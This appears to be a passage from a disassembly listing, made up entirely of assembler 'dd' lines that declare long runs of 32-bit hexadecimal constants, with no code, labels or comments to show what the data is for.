		dd 65A12125h, 2E2EF368h, 0F63B8999h, 0E0B64A5Dh, 4E7E0A48h
		dd 4A2FA750h, 0B597AAD8h, 9351900Bh, 0E2E956E3h, 8624FF7Ch
		dd 765D0908h, 9EDA25A8h, 0F1B3A325h, 535B92D6h,	0C2D1C153h
		dd 124A7213h, 38EE5939h, 0DB40712Ch, 0F5214A59h, 50AAEDFEh
		dd 80C281F8h, 17897B18h, 2D721FF6h, 787465C4h, 13ED840Ah
		dd 0B1215D25h, 0FD2016EAh, 1C26B402h, 20EE0814h, 0F47D9A7Dh
		dd 4A83BA2Dh, 3E3DE087h, 5F77A318h, 835ED46h, 0DA01584Ah
		dd 6C970820h, 2A0F863h,	68C7E9B9h, 565951C3h, 1FBF5B13h
		dd 0BA6D8946h, 0A265B17Eh, 0E9E69C5Fh, 0B505FE25h, 69CAF59h
		dd 0D5B9524Ch, 0FC3B6301h, 30D6295Fh, 3109FEBDh, 0F9407F3Dh
		dd 5A368A87h, 3151A5A9h, 0CBD536E5h, 0BF574603h, 0CCCCD36Ah
		dd 915A5ACAh, 2897BD7Fh, 651E9229h, 4EC4BB92h, 9754F3AAh
		dd 256135AAh, 9574BA79h, 0E5D46BA6h, 2220FE27h,	622B177Fh
		dd 0BF2F2498h, 8F719EFh, 0F155C225h, 0E9B1FEADh, 99A68CFh
		dd 7D5BA568h, 0F8F668B2h, 79A63C1Dh, 0FA62F712h, 297372D1h
		dd 0BEF20D86h, 0C641C8ADh, 1E42DA4Fh, 510024DDh, 278FE017h
		dd 9313B4Ah, 0CE2B17A4h, 0FBAC5FACh, 0EC60263Ah, 95B831BDh
		dd 0E4F0C25Eh, 2B5C62E9h, 55DC389h, 0F2AC5800h,	0DC817C2Fh
		dd 0E06404ACh, 0AB955F6h, 1A486884h, 7BC0C2BCh,	0BD464A23h
		dd 0AC425EAh, 0A2BC4FE9h, 3ABF2D3Eh, 120D6E00h,	354BDE5Ch
		dd 0E74F080Fh, 93DAE002h, 2DE94919h, 0EFD65221h, 0D26ECE71h
		dd 1FCBD218h, 22B2EDD1h, 1631487Ch, 8E4315AFh, 0D94CD068h
		dd 0B02B5A4Fh, 0B5985020h, 66393C92h, 0F6F05EADh, 4F4262C8h
		dd 0C90B7F47h, 37255A98h, 7CDF0FECh, 0F51C7C2Fh, 0F0AADF6h
		dd 5DBC222Fh, 0F380D9AFh, 277246BBh, 0AD9FFE90h, 523F0C92h
		dd 0E904079Eh, 0D30F955h, 0B0B7A444h, 4EFD2965h, 0F3CB465Fh
		dd 0F23C63B8h, 545AADE7h, 4F89024Bh, 8F605F25h,	0B881DCB4h
		dd 0D0A7222Bh, 25AAC65Dh, 4D0288E9h, 0B733C8Bh,	0DD37E941h
		dd 0DB41222Ah, 34E58100h, 62E63D07h, 0ED00D53Ch, 0CD979FF9h
		dd 1A97EB89h, 0E92B8359h, 8DBEE49Ch, 0EBD1E7F7h, 64149673h
		dd 0C302F309h, 328EB97h, 0AAC7819Bh, 0C0C5C05Eh, 278E5C67h
		dd 0DF84F54Ah, 942B74EEh, 5A95E703h, 0D65A9382h, 9E55D28Ah
		dd 15C4B7C1h, 13502320h
		dd 0F427A468h, 6F995F2Dh, 0B340F14Dh, 0BD49424Bh, 47F54380h
		dd 4C582B59h, 93E43D08h, 0F7B94DF0h, 0F2E90840h, 752FB794h
		dd 39063E8Ch, 0F2F2DBE1h, 0C2019868h, 7E952190h, 420026C9h
		dd 1877807Bh, 8669227Ah, 0AD277995h, 0E9522E80h, 55D3BF33h
		dd 0E4865C04h, 58A4590Fh, 0F8849393h, 45981EE9h, 9CE28126h
		dd 0C2FB974Fh, 0C40B52FBh, 7FD0FA74h, 0B70B3630h, 0E402CBD8h
		dd 0E93BCD69h, 0D3286B53h, 32BEEC5Fh, 7A2C4040h, 87ACB4DCh
		dd 29272BD2h, 80B4DC0Fh, 0D0E6C58Eh, 0FE480FD7h, 0FFD5F5Fh
		dd 0ADBA81E5h, 4F5F367Dh, 55565CF9h, 346C2917h,	0ACE6C271h
		dd 0FCAC5805h, 68CBF201h, 0FD420A0Eh, 1E12C772h, 7104015Eh
		dd 6E1BE296h, 64874FB2h, 222392D8h, 296FF88h, 0E3C1042Fh
		dd 0A8DBAFC1h, 0C40B050Bh, 607D07FEh, 83C03C24h, 1AF61A05h
		dd 9C82E0EFh, 559302E5h, 2492ED1h, 84628281h, 0C4FBEF3Dh
		dd 483287A0h, 0ACA2BD13h, 4EF95B10h, 4318FF35h,	482858BBh
		dd 441242D3h, 8F50E05Ah, 9BE928C3h, 4B245C4Eh, 0CA54FBF4h
		dd 0AC8B4F3Eh, 7D33CC09h, 0F229C089h, 0C18A5B96h, 0E979B9DCh
		dd 5FD9C8FEh, 1C6F2D21h, 130DCCA2h, 6BB89BFCh, 0EF8477E1h
		dd 0EB50A43Dh, 0CF77BB0Fh, 0D24B6447h, 44C57592h, 823D24A6h
		dd 90F752EDh, 9648E999h, 0CEEB2E6Dh, 0BCDE3F98h, 2045C69Fh
		dd 679DA4AAh, 939B5E3h,	202BA31Ah, 0D56BE971h, 0B54FB816h
		dd 505D6DC1h, 3B858C8h,	0C1CC9474h, 0DED83105h,	0E8480108h
		dd 6F084105h, 1CBE331Fh, 4A3A81F8h, 53A20BFDh, 5F2F32FDh
		dd 2431C7E9h, 30E35D93h, 6880B2D6h, 0DB5714A0h,	0BD45CF16h
		dd 7477866Eh, 63495EF4h, 32250241h, 75C128FAh, 605D982h
		dd 54C5B379h, 0F5FBA21h, 0F3801884h, 709C1D2h, 3FC404E5h
		dd 27850982h, 0A36CE2F9h, 2C4BC57Dh, 61D913ECh,	6D563693h
		dd 63251259h, 0DDC634FCh, 95206855h, 0B35315F5h, 0C10B64AAh
		dd 4B0105EFh, 89AC3BC8h, 454F23CAh, 6AC6C91Ch, 5BC3E89Fh
		dd 405C816Dh, 325A25D9h, 62243C5Ch, 7F213E0Dh, 9F616D12h
		dd 85E7BA68h, 115C02A7h, 0C3CB0ABFh, 0BEE42708h, 5594CF96h
		dd 15ED4B9Eh, 3181F900h, 0E62BC473h, 2D2F5951h,	51B610E3h
		dd 2F8552Eh, 5D27EB2Bh,	0A2751AD5h, 7C9A49BCh, 462360F6h
		dd 7FB074C1h, 8A4A1B90h, 0E9386B83h, 78606CFDh,	0D3724012h
		dd 3A08E05Eh, 0CF898401h, 245BB659h, 35811366h,	7DAB7A9Ah
		dd 0B7AACBE8h, 0FD69BA3h, 0C7291C88h, 8858E2FBh, 0E05F7495h
		dd 0EB685958h, 96CC745Fh, 0B3114B95h, 0ECD84AA4h, 80C14098h
		dd 7EFCEA6Eh, 0D3D96E8Bh, 41A5BDDDh, 2A5D5341h,	0E9C668A2h
		dd 522E4B15h, 370BFE88h, 0E91A7675h, 46935D6h, 0FE1294E8h
		dd 6EF6F812h, 2FB4417Eh, 0F22AC4B1h, 904D3B3h, 0C716D35Bh
		dd 3E483D11h, 418ED82Ch, 0BFC50084h, 0EC4F080Eh, 0F42F58E8h
		dd 77813800h, 53121720h, 0CBD050Ah, 0FE5B3914h,	0C2CB00D6h
		dd 0BD0C8F10h, 70EF4201h, 0F81BE9F3h, 583D2A2Ah, 71A62D37h
		dd 2C9181E5h, 6C4B03C5h, 0FE6817FFh, 0E5EDC221h, 0B2AD773Ah
		dd 665DFD16h, 1DC449E4h, 4296617h, 0AC763A6h, 0A109C9B5h
		dd 9F45C45Ah, 18BD93F0h, 97F010E3h, 0E98976CDh,	2945E16Fh
		dd 4C5A1C9Eh, 0B912EE44h, 7B73DB02h, 60E1C166h,	1402C917h
		dd 0F3641B5Bh, 8553A505h, 4984BE9Bh, 0BDEC42FBh, 0D543FA27h
		dd 2F56EFADh, 13905EBAh, 0BF74BEAEh, 5CD82082h,	0E1A4082Bh
		dd 2073B205h, 804680EFh, 0E6FD0FC1h, 283D6350h,	97ED12D5h
		dd 5A7D9CBCh, 0F692071Fh, 0CD00D9D1h, 0C059CE88h, 7D07E626h
		dd 0BD0EC913h, 5BDE05C8h, 2008D4A0h, 0EC1152Ch,	22EE80E3h
		dd 0EC25E6CCh, 0CA264F6h, 0FE370B32h, 3B208B9h,	535A5B05h
		dd 2CF29DEEh, 0E8815FC6h, 606BF530h, 1C580F9h, 527250F4h
		dd 87B55118h, 25E9ECC8h, 4966AD5Ch, 0CF36310Bh,	693ADE65h
		dd 6378D90Bh, 6060566h,	0C74E011Eh, 0C2E98E6Ah,	0F58D6F82h
		dd 1059B32Eh, 56024A22h, 0ED6779BEh, 3B203541h,	5BF67713h
		dd 6603D31Ch, 0B6952F0Ch, 9E272B2Bh, 5DE927F5h,	4014C05h
		dd 8A49DA48h, 715D2504h, 0E3E989A2h, 0F5518429h, 0C16B5C51h
		dd 24E7ABADh, 69621DA8h, 1FA6447h, 20FCC980h, 0FE736326h
		dd 2F9F90FAh, 0E01E4F2Fh, 0CB093FC7h, 9ADAB559h, 0E3DEF109h
		dd 8A69416Ah, 99BA3180h, 81173614h, 1CACCA07h, 0F2604132h
		dd 0B745BB4h, 833CE9ADh, 0EA52DF7Eh, 0E7F157F7h, 1E25584Ah
		dd 0C86813E5h, 0F582E866h, 0D3894A5h, 6A7680Ah,	2BABA50Dh
		dd 16B9157Dh, 26FDF127h, 48497BFDh, 54052D41h, 42CAA6A4h
		dd 8776752Eh, 7934624Ah, 448EDC2h, 5EC2EDBEh, 22C72EB1h
		dd 0E9130274h, 96358ECEh, 0FA548CB4h, 0B3B24FBDh, 0C12979A3h
		dd 7C66A948h, 0D9D0BFA8h, 5C31F04Ah, 6C164DF8h,	1B1FBA78h
		dd 0FE4A95B2h, 6CB259Dh, 0B5A32Ah, 275D0803h, 0CEF4EE81h
		dd 5201DF2Eh, 89337625h, 9242C0E9h, 420B94F7h, 0AECD6D7h
		dd 409E12A4h, 23E4B824h, 60FB0BCFh, 4D5ECDFCh, 0CF50E7A7h
		dd 526F1E22h, 8D9533Bh,	0B30E6078h, 0A197EB23h,	0D830AC8Eh
		dd 0BD55C324h, 2B8A5E33h, 0EFC7685Dh, 1A651FF9h, 4BAD0A2Eh
		dd 384B250Bh, 4456C7B2h, 50B5924Fh, 0BC89C205h,	0AA5D122Eh
		dd 5D1CA686h, 5B2D1D3Bh, 69687ED6h, 0AC0F77A8h,	6422FB45h
		dd 0A8ECFE42h, 0D303F681h, 0A4D83F15h, 0A8CF5A32h, 0DD00E4E2h
		dd 45092C7Dh, 62E820E9h, 5B44BD07h, 56A26613h, 0E1D1A3A0h
		dd 5E51C257h, 9E542721h, 9D24E159h, 0E85D4F58h,	0F4BDFEBh
		dd 28F207h, 55FE4D11h, 0BED273BFh, 0AA8344E3h, 0F21D2261h
		dd 0E1EDD781h, 0EC51D5E8h, 4B9A87EEh, 57072EFEh, 454D5D35h
		dd 48603082h, 9781BF3Fh, 8A7FF492h, 72497EB0h, 474020CFh
		dd 0A09F3362h, 49ACF403h, 4CF1CA55h, 2A96B7AAh,	20A1CCB7h
		dd 49EEA46Dh, 0E9A978B7h, 0B658C32Fh, 8CE9F8C0h, 0E39D7464h
		dd 0F11887AAh, 1562B873h, 58DD5001h, 73D37B3h, 6FACCB01h
		dd 2E432C73h, 0DF25AFF6h, 0A92884FEh, 0BC836209h, 5BB086A4h
		dd 3E916F7h, 817AA4DFh,	0BD8DBF4Eh, 0E92B0F21h,	7C73801Dh
		dd 16C149D1h, 449707E8h, 165EB406h, 0F65209AAh,	88F106E0h
		dd 0C74ADD7Fh, 2CACD602h, 0AFC97991h, 810317CCh, 9367DEC6h
		dd 0A1C4861h, 0C830841h, 4F894473h, 4B8355Bh, 0F9F65CF0h
		dd 874DE916h, 9AAA7B34h, 829625AEh, 775E54A5h, 0E99DFCE7h
		dd 0F0B4E3D7h, 5C68B006h, 5EC0F547h, 73226853h,	0E9F0DBB5h
		dd 77A3C2CEh, 13726480h, 0F74F4971h, 0B03B6C3h,	0FEA9E915h
		dd 253CA559h, 0DC1FC8DEh, 80E10386h, 0CF881BF1h, 0F2504FF2h
		dd 0D8F7282Eh, 0C003F817h, 0A572FB68h, 0C0291AF4h, 1102D7Fh
		dd 7F9422A4h, 2896561Fh, 525C4C45h, 0E93B32CEh,	9406ED4Fh
		dd 0F63B10F9h, 0B8D86654h, 0F98839B9h, 0DFEC827h, 8020B240h
		dd 63C65C2h, 0B0CFC14Ch, 0E9D0C326h, 20955205h,	0AA156735h
		dd 0FD088263h, 0E15A1408h, 71046A3Ch, 84F5014Ch, 0C7081AFFh
		dd 12AAA284h, 0FB8874EAh, 5B537473h, 2D0229EBh,	6F808527h
		dd 0CA01C135h, 7B4723CFh, 82B96620h, 43D1AF5h, 874601F1h
		dd 1720945Fh, 1C587F4Eh, 0D82753F6h, 5B92DC32h,	0CA4FE130h
		dd 659B56C0h, 9C5DB77h,	187D5E08h, 5FCAE9ECh, 0C81C404Ch
		dd 684F2B75h, 104E7DE3h, 114C336h, 0BD4AA8EEh, 595D25BFh
		dd 0B05B172Eh, 0F52580ABh
		dd 1CEE02F6h, 8EBE00D0h, 394C9F3Dh, 7B057628h, 0E7D11318h
		dd 0C1A45282h, 0FE21485Eh, 0F4C44D31h, 292005F6h, 0EC22E9FEh
		dd 4A7980C0h, 0F858713Bh, 38EFBE89h, 0E87CDD30h, 0B5045159h
		dd 2E5C075h, 526BC8FBh,	655BE498h, 0C580CAF2h, 31D55133h
		dd 0A4E94D17h, 11F061A5h, 48AB3D6Dh, 6F00D9AFh,	1018A9B9h
		dd 20F27448h, 5BBB0FC9h, 4B4A596Fh, 0BA6C319Eh,	6DC27B0Bh
		dd 0D29ADF1Ah, 6F747FA9h, 892774CBh, 90616FE9h,	0B9F9D8ADh
		dd 0FE498EBEh, 0A3D77A4Fh, 1E58A064h, 5241648Dh, 67180119h
		dd 602B106Eh, 98B67EB1h, 4942F3DAh, 5B58977h, 68F64C44h
		dd 18F5089h, 203F453h, 0C0E08B95h, 7063C646h, 0A84D5B2Eh
		dd 0F58102A3h, 0C0A91280h, 14B9CD6Ch, 0BA3B3155h, 0F3A26905h
		dd 3C55AC10h, 0B025FE9h, 0C23D2C58h, 3A5CF492h,	4430257Eh
		dd 50531910h, 36166817h, 1D88ED88h, 245251D7h, 8B110823h
		dd 3C2BF627h, 28E07712h, 32950108h, 8058D01Eh, 2C2691A7h
		dd 0AF5E28D5h, 6093C344h, 27492DBEh, 0B1D3530Ah, 0F76503F5h
		dd 2961477Fh, 23B8CFB0h, 18CF5E79h, 65F18460h, 0E917B3A8h
		dd 3FD8A445h, 61E3115Ah, 0C7575DC9h, 0AA292561h, 0CAECEF10h
		dd 0B7EEBD80h, 681238D8h, 16E35486h, 7BB60279h,	1FE96ABCh
		dd 65E431F4h, 2D1C8380h, 0AE76125Ah, 0A431FE26h, 0C06FC129h
		dd 44E955F0h, 6590614Eh, 28797CE3h, 3BA14EA6h, 228595A4h
		dd 0ABB9C0E9h, 0B2512323h, 0F61CFD74h, 0DAAFE912h, 95BB5E25h
		dd 8C2B00C2h, 0E907061Fh, 99D7CF25h, 77F2501Dh,	6827C9EEh
		dd 0BC84D96Eh, 81292D14h, 480EE9C2h, 3D505C7Eh,	350D8003h
		dd 72371000h, 6992A805h, 0A661B7A4h, 6A8EEDE9h,	75E5F38Dh
		dd 291D512Ch, 8059FFFAh, 42104248h, 0FD5B0562h,	37F20A68h
		dd 0AA71E985h, 3C778945h, 108421AAh, 814A0043h,	0FEEF09EAh
		dd 17EE69Dh, 5A2BE941h,	7ECC8E7Ah, 76618527h, 5369EFE4h
		dd 0C3DD2062h, 0B10DC012h, 293B2CD6h, 0E24608FEh, 0FF570F27h
		dd 6E4B6792h, 88E14554h, 0F42FBB63h, 21C1048Eh,	10C8728h
		dd 2BFD04D8h, 0B6770B88h, 0C8D83CBEh, 905A7E7Ch, 5F0527F8h
		dd 0EA5B1C1Bh, 5F897BA4h, 0E94E2CD3h, 0F9837330h, 2D7DF1CAh
		dd 0AD5E7BA1h, 0EE045F28h, 485EF012h, 0CD495B85h, 3C280072h
		dd 0EC2FB417h, 66DC0FF1h, 0E16641E3h, 0DA011207h, 0E9F63244h
		dd 6192EBA5h, 500405EDh, 0CFFCE048h, 0A5F7B54Eh, 678F444Bh
		dd 0D00113C5h, 2B153BC7h, 5870E2EBh, 80609FA9h,	0C7F4D731h
		dd 0BF149F60h, 5E06360Fh, 24B3863Bh, 0B078282h,	4A21BE9h
		dd 0C7E335B7h, 83F4FBC9h, 81C3803Ch, 0EB579F28h, 168A105Ch
		dd 0BCA6BEE9h, 0A7A337h, 0FEAF2C9Fh, 0C9134C8h,	6601D7Dh
		dd 0C026B231h, 800409EAh, 9976D9E2h, 27A0471Dh,	0D46C215Ch
		dd 24FADB97h, 4AB372Ah,	0E941AB5Bh, 0EA127DBh, 4162B53Ah
		dd 2C63F8Ah, 5144DD59h,	0BE5B1FCAh, 39FD4017h, 0BB0D8285h
		dd 16B66E78h, 0E692B4Dh, 34C21EC8h, 82D7C178h, 0EC8FA8Fh
		dd 5C5BB1BEh, 34E20731h, 57D549D6h, 977191DCh, 514192F9h
		dd 0A2CE8468h, 71A9FDA3h, 9F1CB72h, 68F889C9h, 8161A0ADh
		dd 8FDFEAF7h, 954A46F4h, 0DC89B514h, 0EC27DCEDh, 82D8E24Ah
		dd 511761F1h, 947EA0A1h, 124B82E3h, 1019F9AAh, 0C404123Fh
		dd 922CCE0Eh, 0DB1722EDh, 495D0588h, 8802A957h,	0ED808508h
		dd 9EB4C29Fh, 0E204BAEAh, 2D3407D3h, 0F492C5A7h, 0BDBE5267h
		dd 0FDB0D252h, 0E24C111Ch, 150383ACh, 0B02D6442h, 2D4540E7h
		dd 8DA07F30h, 967C04F7h, 0B7C4644Bh, 30C11484h,	0BC04513Ah
		dd 0C7941234h, 40F16E2Ch, 15B0ADB3h, 0AE47070Fh, 5E2E8411h
		dd 96207612h, 771D3103h, 51FB2979h, 89CAA56Ch, 0BD2A840Bh
		dd 0FE81E9A8h, 6E336E48h, 0A411CB3h, 2B382D2Bh,	12F8CACh
		dd 0D25BBD7Ch, 0BE2266BAh, 0E23D897Dh, 8272C25Ch, 0F6BF69Ah
		dd 0FE9CD2Eh, 0B2A01FAFh, 1C280CAh, 0C2DAF62Dh,	939041A1h
		dd 0CA77C312h, 0D907FDFh, 44655FE9h, 0CABBC721h, 98B74B71h
		dd 0FD870F13h, 0F4F08449h, 6334BA12h, 0B686644h, 0F75E0FF8h
		dd 94E94BF1h, 2079FC15h, 8A681579h, 4617E66Ch, 8033F36Fh
		dd 1D864FBFh, 0CF829FDBh, 57CBEDD8h, 64C02A3h, 0F037135Ah
		dd 5CC903EDh, 8A75A2ECh, 2091F482h, 0DA65956Ch,	6805D02Ch
		dd 67547D2Bh, 4EE1250Eh, 54C0B5C5h, 5C818ED9h, 6DF57D40h
		dd 25560320h, 667C7E78h, 0CF4122A8h, 2B2D4C02h,	0D8F0D9E0h
		dd 0B5FCEC26h, 34A2C51Bh, 1550FDD6h, 2B64813Eh,	7EA47697h
		dd 902140F0h, 0A3D0813Dh, 0EF976E72h, 5D091F02h, 0DAE28250h
		dd 0ECA50E67h, 0B963AE3Dh, 811349E3h, 0F667A84Fh, 0B0ECD8A1h
		dd 6E16EABDh, 95160982h, 4F5173A0h, 5D712243h, 0C2C0BEDEh
		dd 973DAEE9h, 0F83097ECh, 0B9F2BDA2h, 11DB0028h, 355AD031h
		dd 2A12F350h, 24148958h, 5221046Fh, 82FE367Eh, 88FEB19h
		dd 0C713A872h, 0DA25C388h, 13A0D967h, 9F9ED1E9h, 0DD9302F9h
		dd 615AF05Fh, 8D42759Bh, 2A1A1C7Dh, 5CA32AE9h, 218FD21h
		dd 8DF6BDABh, 183551Eh,	0E1E168D2h, 0FCA59665h,	259AAC66h
		dd 0BDE5E917h, 0B74CFAA2h, 1CBE4D5Eh, 0A6E4BB8Bh, 5D960540h
		dd 9D13458Bh, 1AE373E0h, 82C237C5h, 225FEA52h, 5C33B6h
		dd 0C780A1B7h, 0F81F254Fh, 35A12652h, 7B3CF56Eh, 6257D72Ch
		dd 0E6C125B5h, 827BC600h, 52FB07C0h, 24395DBAh,	0FB0BAE03h
		dd 82505829h, 29C8620Bh, 77DA099Eh, 44810B22h, 0C0613C00h
		dd 6C292F0Dh, 0CA01371h, 0E627E912h, 0CC09709Dh, 208B43Ah
		dd 0BE827641h, 3ADCA1B1h, 0F8CBA4F5h, 0D85B0C04h, 17147ADDh
		dd 0E175A3h, 67993219h,	2768EED1h, 22C6796Bh, 4EAE08E1h
		dd 8872A271h, 0B2E98401h, 718CFE42h, 0B001F3DBh, 3DB76EA1h
		dd 0B3498318h, 0A77795EAh, 0D6894C17h, 0BE9013F9h, 1C4E2967h
		dd 7B1777ACh, 12BA56BEh, 0B41FECDAh, 0B3146BFDh, 0B881BB88h
		dd 7E4A4023h, 41684502h, 5772904Fh, 5AEC09F6h, 355E2DE9h
		dd 0CEBF6612h, 25683DFDh, 0E4714671h, 5C213039h, 8A40318Eh
		dd 520C2648h, 31854B48h, 4B028583h, 0E3458006h,	70F30AADh
		dd 0FA406DC9h, 1CBB0FBEh, 54B371Eh, 3B90E890h, 0BFEFC695h
		dd 0F1AF755Bh, 40D46465h, 0E888F7B5h, 80595E66h, 0EFB45019h
		dd 81C660E1h, 9BA9A40h,	9C6326CCh, 609A2DD8h, 0CFF4CEFFh
		dd 0B405E95Bh, 34625FC0h, 219F41E9h, 58717D9h, 6CED9F81h
		dd 9BF65C02h, 0BC2E9903h, 0E521E92Bh, 482EB63Ah, 683205DBh
		dd 49923577h, 2CB8E129h, 0EE250B32h, 8455F778h,	325DE538h
		dd 0CAD83C01h, 0E4E021BBh, 0A2932F6Ah, 7748C2F1h, 3664268Bh
		dd 0A2F22928h, 98C97194h, 17A59E91h, 0A8316EA0h, 97C284A8h
		dd 0A24C8F10h, 29334D04h, 0BB3480CBh, 18240F17h, 4208CBD1h
		dd 0A4BF126Dh, 304C2D24h, 0CC3A2411h, 4F070514h, 807BFFACh
		dd 55544A68h, 0AA5B7DE3h, 23BF9975h, 3302843Dh,	6658C288h
		dd 0D58CE05Bh, 2867162Ch, 8F11B9F8h, 94FC73B3h,	0DAFE582Fh
		dd 7A680551h, 0C2523193h, 520405FDh, 0C2E7A709h, 3216532Ah
		dd 6FC1E34Fh, 62B0D42Bh, 0BB005C91h, 58AA226Bh,	88209B40h
		dd 7CCD5E4Eh, 0C5F6442Eh, 0FB0F16E0h, 0CC3205B1h, 3ED659FBh
		dd 8BFF8B05h, 5ABFDE14h, 84419DEEh, 5EBB4344h, 0F1D6D3DFh
		dd 2F34F553h, 68C2EDE2h, 2AAF28C9h, 0AF1AFE05h,	0D6BBF031h
		dd 39BD5207h, 0DFECA5FDh
		dd 5EE33B81h, 7D00DB07h, 0EE29D76Ch, 9F54CDF8h,	1B5B3B95h
		dd 0B5016DD8h, 0B9CF3910h, 0E5D53180h, 0BCDCC03Eh, 45482336h
		dd 2EA558D4h, 52CA2B73h, 10557743h, 0DB078663h,	5E612CC0h
		dd 1F7E108Bh, 2049D830h, 89DDD942h, 4D55EE19h, 42F324EDh
		dd 0B800878Ah, 17745C9h, 4E1F357Dh, 20406D5Bh, 4C021CEBh
		dd 24E91915h, 6C477DAh,	5264B7A4h, 9ABF3698h, 0CE90A08h
		dd 8240E047h, 246774Ah,	71ABE56h, 0CAC3662Ah, 0D5110CB0h
		dd 0EF3092Ch, 0C5FCC30Eh, 0C88008A9h, 50867ADEh, 0CE78C061h
		dd 5CE0C7DBh, 7568106Fh, 0DBF3334Bh, 0C6357F04h, 51B8A015h
		dd 1E37B900h, 0CD0907A8h, 0B62F2AE9h, 4C717FB2h, 1034866Eh
		dd 0BEB785E1h, 9CA220C7h, 9499D5FEh, 83BD2F52h,	22D78D4h
		dd 114678Eh, 6A3BC0AAh,	3A3F0617h, 5B1816E1h, 15F7102Bh
		dd 5E0E08C4h, 204A5706h, 8EB4931h, 188C11CAh, 15083F26h
		dd 41606140h, 88DAFD3Ch, 0C53C128h, 1A10CEF1h, 29088A63h
		dd 0B4181047h, 31DD18E2h, 80BCAF10h, 8C825C04h,	40BA0820h
		dd 0A463D56Fh, 1B649120h, 18259608h, 83F1FEBh, 0D7816454h
		dd 5111F11Fh, 1F088830h, 78830868h, 28923138h, 0F4017DBAh
		dd 0EEFC0120h, 94ED188Ch, 8CE90A08h, 8511018h, 0A1646C81h
		dd 0BA402DC9h, 0D83840E0h, 0D908296Fh, 84519E71h, 9998A85Dh
		dd 60FE087Bh, 1558C1C8h, 0B710A080h, 0C0611855h, 80D23B08h
		dd 148059C1h, 3428C67Ch, 2131082Dh, 758C1868h, 0E9CF0888h
		dd 3FFB2B08h, 6DC7D162h, 0DC4A8D05h, 408C84E8h,	0C44CC176h
		dd 6AC0C08h, 202005B3h,	11B0ED5Ah, 4F6610C4h, 0E8B1430Ch
		dd 9F840E54h, 0D1988E81h, 6BA3E9A6h, 8CC908C5h,	3D0DC048h
		dd 2E2065A0h, 21C02039h, 0F1B0FE54h, 0D420EA63h, 190812B8h
		dd 19385867h, 589286A9h, 0C8E3F48Bh, 0D5071818h, 81F43008h
		dd 2018EF41h, 2C08373Ch, 24188107h, 7963AD28h, 18014810h
		dd 18F3B608h, 7A801A84h, 72DA8036h, 2A407492h, 99CA40A8h
		dd 9008D863h, 0AD182418h, 7A118C24h, 6A635508h,	3199CC20h
		dd 8BB91308h, 41899809h, 8040BC08h, 4C8028EDh, 5930C6E8h
		dd 7A2008F1h, 798962A7h, 0BD05B469h, 0E658C85Fh, 80C5EB08h
		dd 48C435A6h, 0E909C392h, 0E1A2A826h, 2A184D49h, 0DB32948Bh
		dd 49560886h, 66C32964h, 31ABF191h, 3182E720h, 0B018126Bh
		dd 3A8701EDh, 668D1088h, 0C3FEF08h, 0D9088F76h,	2018D062h
		dd 2DA40243h, 0FBDF202h, 30C9708h, 4055109Bh, 0FC407796h
		dd 54889252h, 4020C4FAh, 5F40D739h, 1045648Eh, 2760D1AAh
		dd 0E6188C80h, 9A5F08AEh, 0C8A55418h, 0B6A8A80Eh, 0E918C57Eh
		dd 84C85170h, 1834E310h, 0E2106168h, 9C60807Ch,	0A4E8FC26h
		dd 0EF815F40h, 0A74854E5h, 0FDC8F1C7h, 473B8045h, 2752C03h
		dd 1B8913EBh, 3DA7B90Eh, 440105D0h, 49408F00h, 0F775C90Bh
		dd 0E3F7B08Bh, 5B03DED0h, 338F21F0h, 0B10FE0C0h, 2C304F30h
		dd 4BFCE9ACh, 0FBC4B49Eh, 0D817CE2Eh, 125EE04h,	0FDC263AEh
		dd 81187EE1h, 6CB2CE2Fh, 0EED84053h, 0E0051BD6h, 69A00C48h
		dd 0E2B5091Bh, 0B5145F9Dh, 4F21E91Fh, 0F883EEE5h, 0B90D7C44h
		dd 32B4031Fh, 7FE1E288h, 0C5778006h, 67704460h,	28949F5Bh
		dd 0B46BB9B0h, 78AD010h, 163A31E5h, 4B9DD330h, 0F0005C79h
		dd 10BD555Eh, 0FC663B1Dh, 36D06B1Eh, 5A7359D4h,	0C2F4F3B4h
		dd 772B6853h, 0CCF155C6h, 3A5E9365h, 5A208F91h,	8FB6B22Bh
		dd 14F273D3h, 0CDFF3716h, 64886F26h, 4C2DFB2Ah,	9C16FE93h
		dd 0CF7E4EA1h, 86E64E91h, 13C9909h, 961A75h, 7FFFEB9Fh
		dd 9A696190h, 0D9EF2F10h, 0F5BA0429h, 0F3E10067h, 143E593Ch
		dd 876F1751h, 0B5C642A8h, 79C25C13h, 0E86DF568h, 0B7820ECBh
		dd 394CABD9h, 94097368h, 5621623Eh, 0B468465Dh,	0EBC44F55h
		dd 0BC31AA50h, 4F250BB2h, 0EC43A2F4h, 7D01B578h, 2A593863h
		dd 80640B5h, 5E14811Ch,	0E4CDAC3Ah, 10EAA2ABh, 3950FE6Fh
		dd 0FA3718E8h, 318A0C73h, 0E94A7406h, 84384Eh, 0C853D105h
		dd 2EE22D1Dh, 0B9B5BB4Bh, 11CA0707h, 0ADC25A1Eh, 0D56FFB08h
		dd 9BF45562h, 27417989h, 3F10F62Eh, 7F74AE6h, 0A4B850DEh
		dd 0BFB3549Ah, 0C5EF5A84h, 0B582AF5Ch, 5B70F401h, 7AFF36F1h
		dd 69F8CB9Ch, 0ABDB0ADAh, 0EB53580Ah, 14B9E08h,	0D31FDA68h
		dd 3A2C2B05h, 58D69751h, 65AAE9D0h, 5C3C76Ah, 0AB65D8F0h
		dd 8099294h, 7F0CCA5Ah,	402C7BC7h, 27FF1717h, 0BBD8846Ah
		dd 0F3489CB1h, 3F3D9CA0h, 310B9B31h, 2404BFC8h,	5DA5B706h
		dd 485574A9h, 1210F34Ch, 0EA09020Ah, 266882CCh,	0C224235Dh
		dd 4F4626ABh, 97275779h, 0C2AFDC3Dh, 7C5BDD15h,	2A6EE5A0h
		dd 3412537Ah, 0BED817FBh, 5F614238h, 9535F35Eh,	0C7B04248h
		dd 0D509A5A1h, 6809B8CFh, 0C498D59Dh, 0D32E954h, 5CC19745h
		dd 7C601F02h, 0AE8F44CFh, 8FEB8CE7h, 0ECE26EF7h, 1FCE4C4h
		dd 0EDD047B5h, 0C0FA98E4h, 113CC6C5h, 589D7CEBh, 684E0B6Ah
		dd 86467EBCh, 0DC77C000h, 3E1C15Fh, 1D22E681h, 81499743h
		dd 4455B5C9h, 487A202Dh, 5C12D4E8h, 5E1AC121h, 0F44F0BACh
		dd 0C1C7249Fh, 936326BBh, 55A4FADEh, 3446660Fh,	317EB84Dh
		dd 0E24B7E91h, 0D8E7FBAh, 137D21A5h, 0F00EF98h,	8E7AB9D3h
		dd 0B2E024E9h, 3F938328h, 42D317A6h, 0AFE614FEh, 61CA7718h
